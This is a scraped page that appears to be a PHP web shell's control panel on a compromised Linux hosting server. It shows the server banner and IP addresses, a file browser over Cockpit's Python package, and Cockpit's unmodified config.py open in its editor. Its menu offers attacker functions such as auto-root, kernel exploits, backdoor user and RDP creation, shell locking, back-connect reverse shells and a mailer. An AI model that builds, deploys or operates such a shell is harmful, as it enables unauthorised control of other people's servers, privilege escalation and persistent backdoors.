Linux salto.nuvemidc.com 5.14.0-687.42.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Aug 27 11:55:12 EDT 2026 x86_64
LiteSpeed
: 177.73.233.61 | : 216.73.217.116
Cant Read [ /etc/named.conf ]
7.4.33
agenci18
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
lib /
python3.9 /
site-packages /
cockpit /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
_vendor
[ DIR ]
drwxr-xr-x
channels
[ DIR ]
drwxr-xr-x
data
[ DIR ]
drwxr-xr-x
__init__.py
113
B
-rw-r--r--
_version.py
22
B
-rw-r--r--
beiboot.py
21.22
KB
-rw-r--r--
beipack.py
2.38
KB
-rw-r--r--
bridge.py
11.67
KB
-rw-r--r--
channel.py
21.71
KB
-rw-r--r--
config.py
2.76
KB
-rw-r--r--
internal_endpoints.py
5.34
KB
-rw-r--r--
jsonutil.py
6.81
KB
-rw-r--r--
osinfo.py
1019
B
-rw-r--r--
packages.py
23.14
KB
-rw-r--r--
peer.py
11.96
KB
-rw-r--r--
polkit.py
8.43
KB
-rw-r--r--
polyfills.py
1.66
KB
-rw-r--r--
protocol.py
8.91
KB
-rw-r--r--
remote.py
8.32
KB
-rw-r--r--
router.py
9.47
KB
-rw-r--r--
samples.py
16.41
KB
-rw-r--r--
superuser.py
12.09
KB
-rw-r--r--
transports.py
17.49
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : config.py
# # Copyright (C) 2023 Red Hat, Inc. # SPDX-License-Identifier: GPL-3.0-or-later import configparser import logging import os from pathlib import Path from cockpit._vendor.systemd_ctypes import bus logger = logging.getLogger(__name__) XDG_CONFIG_HOME = Path(os.getenv('XDG_CONFIG_HOME') or os.path.expanduser('~/.config')) DOT_CONFIG_COCKPIT = XDG_CONFIG_HOME / 'cockpit' def lookup_config(filename: str) -> Path: config_dirs = os.environ.get('XDG_CONFIG_DIRS', '/etc').split(':') fallback = None for config_dir in config_dirs: config_path = Path(config_dir, 'cockpit', filename) if not fallback: fallback = config_path if config_path.exists(): logger.debug('lookup_config(%s): found %s', filename, config_path) return config_path # default to the first entry in XDG_CONFIG_DIRS; that's not according to the spec, # but what Cockpit has done for years logger.debug('lookup_config(%s): defaulting to %s', filename, fallback) assert fallback # mypy; config_dirs always has at least one string return fallback class Config(bus.Object, interface='cockpit.Config'): def __init__(self) -> None: self.reload() @bus.Interface.Method(out_types='s', in_types='ss') def get_string(self, section: str, key: str) -> str: try: return self.config[section][key] except KeyError as exc: raise bus.BusError('cockpit.Config.KeyError', f'key {key} in section {section} does not exist') from exc @bus.Interface.Method(out_types='u', in_types='ssuuu') def get_u_int(self, section: str, key: str, default: int, maximum: int, minimum: int) -> int: try: value = self.config[section][key] except KeyError: return default try: int_val = int(value) except ValueError: logger.warning('cockpit.conf: [%s] %s is not an integer', section, key) return default return min(max(int_val, minimum), maximum) @bus.Interface.Method() def reload(self) -> None: self.config = configparser.ConfigParser(interpolation=None) cockpit_conf = lookup_config('cockpit.conf') logger.debug("cockpit.Config: loading %s", cockpit_conf) # this may not exist, but it's ok to not have a config file and thus leave self.config empty try: self.config.read(cockpit_conf) except configparser.Error as exc: logger.warning("cockpit.conf is invalid: %s", exc) self.config.clear() return class Environment(bus.Object, interface='cockpit.Environment'): variables = bus.Interface.Property('a{ss}') @variables.getter def get_variables(self) -> 'dict[str, str]': return os.environ.copy()
Close